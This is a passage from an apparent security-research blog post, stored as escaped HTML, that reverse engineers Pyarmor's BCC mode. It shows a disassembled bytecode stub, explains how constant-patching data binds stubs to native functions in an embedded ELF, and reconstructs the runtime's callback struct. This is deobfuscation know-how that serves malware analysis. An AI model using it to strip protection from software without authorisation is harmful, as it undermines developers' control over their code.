      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 2: Function table in the ELF&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;As can be seen in Figure 2, each table entry consists of 4 qwords: A pointer to the null-terminated function name (not very expressive; it’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bcc_&lt;/code&gt; followed by the line number in the original script), a pointer to the function itself, and two values that are always &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; here.
This happens to be a perfect match for the &lt;a href=&quot;https://docs.python.org/3/c-api/structures.html#c.PyMethodDef&quot;&gt;PyMethodDef struct&lt;/a&gt;.
The value denoted as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; is the method flags, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;METH_VARARGS&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; is for the function docstring pointer, which Pyarmor has no reason to supply.&lt;/p&gt;

&lt;h2 id=&quot;how-are-bcc-functions-called&quot;&gt;How are BCC functions called?&lt;/h2&gt;

&lt;p&gt;So far, we’ve dumped the BCC ELF file. Where is the Python module that we expected in the first place, which should contain bytecode that calls the BCC parts in some fashion?&lt;/p&gt;

&lt;p&gt;It turns out there are two encrypted Pyarmor blobs in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bytes&lt;/code&gt;-string  passed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; when BCC mode is used.
The first is the ELF, the second one the compiled Python module.
We adjusted our tooling so that it is aware of this situation and saves both.&lt;/p&gt;

&lt;p&gt;The disassembly of a BCC stub function looks like this:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Disassembly&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x73c1cb604ab0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;frozen main&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;41&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
 &lt;span class=&quot;mi&quot;&gt;41&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RESUME&lt;/span&gt;                   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STORE_FAST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__assert_bcc__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PUSH_NULL&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;__pyarmor_bcc_54438__&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PRECALL&lt;/span&gt;                  &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CALL&lt;/span&gt;                     &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;

 &lt;span class=&quot;mi&quot;&gt;41&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RETURN_VALUE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s nothing spectacular going on here - it assigns an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__assert_bcc__&lt;/code&gt; variable and then does a call.
The call is on a string constant &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor_bcc_54438__&lt;/code&gt; - we’d expect it to go to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bcc_41&lt;/code&gt; in the ELF.
How do the two relate?&lt;/p&gt;

&lt;p&gt;If you remember our &lt;a href=&quot;/2025/02/12/unpacking-pyarmor-v8-scripts/&quot;&gt;previous blog post&lt;/a&gt; on Pyarmor, you may remember we encountered some extra data in code objects marshaled by Pyarmor.
At the time we ignored it and didn’t do a deeper analysis, because it didn’t really matter for our purposes.
That has changed now.
We figured out that it’s essentially a mapping that describes how to patch the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;co_consts&lt;/code&gt; of the code object being loaded.
The patches inject native function references.&lt;/p&gt;

&lt;p&gt;There are multiple types of patches, the most important ones are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Replace constant with reference to one of three Pyarmor runtime functions: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C_ASSERT_ARMORED&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C_ENTER_CO_OBJECT&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C_LEAVE_CO_OBJECT&lt;/code&gt;. In the example above, this happens for constant index &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;, which is specified as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;None&lt;/code&gt;. The patch data dictates that it gets overwritten with a reference to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C_ASSERT_ARMORED&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Replace constant with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyCMethod&lt;/code&gt; that references a definition in the BCC function table. This happens for constant index &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; in the example. The patch data maps it to BCC table index 0, which is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bcc_41&lt;/code&gt; as expected.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The previous contents of the constant are ignored - as far as we understand, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor_bcc_54438__&lt;/code&gt; string may as well have been &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;None&lt;/code&gt; without breaking anything.&lt;/p&gt;

&lt;p&gt;All in all, this nifty injection/replacement logic enables everything to work together seamlessly, without requiring further trickery such as intercepting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CALL&lt;/code&gt; instructions in the bytecode.&lt;/p&gt;

&lt;p&gt;We’ve expanded our tool repository with a new &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling/blob/main/bcc_info.py&quot;&gt;bcc_info.py&lt;/a&gt; script that parses the data and prints the mappings, among other things.&lt;/p&gt;

&lt;h2 id=&quot;interactions-between-bcc-code-pyarmor-and-python&quot;&gt;Interactions between BCC code, Pyarmor, and Python&lt;/h2&gt;

&lt;p&gt;The native code does not exist in a vacuum, or in other words, it’s not at all self-contained.
It needs to have frequent interactions with the Python interpreter for tasks such as retrieving object attributes and calling other functions.
This also goes for calling other BCC functions: they aren’t called directly - instead, it takes the roundtrip through the interpreter.&lt;/p&gt;

&lt;p&gt;Another interesting topic is math.
Consider the following Python expression: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(100000000000 + 300000000000) ** 2&lt;/code&gt;.
While the addition would work with a standard C &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+&lt;/code&gt; operator (given that 64-bit integer types are used), an exponentiation operator is not directly available, and the final result is so large that it would require using a library for working with big numbers.
Pyarmor thus cannot translate any numeric operation directly into native code.
The numbers stay wrapped into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyNumber&lt;/code&gt; objects, just as they would during “normal” script execution, and the native code needs to call into the Python interpreter to perform any kind of operation such as addition, multiplication, and so on.&lt;/p&gt;

&lt;p&gt;All of these interactions are made possible by a special struct that the Pyarmor runtime shares with the BCC code.
It contains mostly function pointers, but also a handful of object references.&lt;/p&gt;

&lt;p&gt;We’ve reverse engineered the most important parts of the structure.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GLOBAL_OPS&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;GLOBAL_DELETE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;GLOBAL_GET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;GLOBAL_RETURN_GLOBALS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;GLOBAL_SPECIAL_ENTER&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* __enter__ */&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;GLOBAL_SPECIAL_EXIT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* __exit__ */&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;GLOBAL_SET_MIN&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* anything above means Set (pointer value instead of int) */&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bcc_ftable&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p_stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p_stderr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyNumber_operator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;operatortype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;build_collection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;colltype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call_python_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bDontCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pyCallable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bArgsRequired&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bKwArgsRequired&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argsTuple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kwargsDict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;set_exception_if_none_was_raised&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comparison&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unused&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;operatortype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;qword48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fetch_exception&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string_format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;globals_operation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unused&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GLOBAL_OPS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;modeOrValueForSet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;op_mkfunc_not_available&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iter_next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;qword78&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;qword80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;update_exception_info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;qword90&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unpack_values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unused&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;maxCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;qwordA0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;qwordB0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;import_stuff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gapC0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Py_NoneStruct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Py_TrueStruct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Py_FalseStruct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gapF8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyBytes_AsStringAndSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyCell_Get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyCell_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
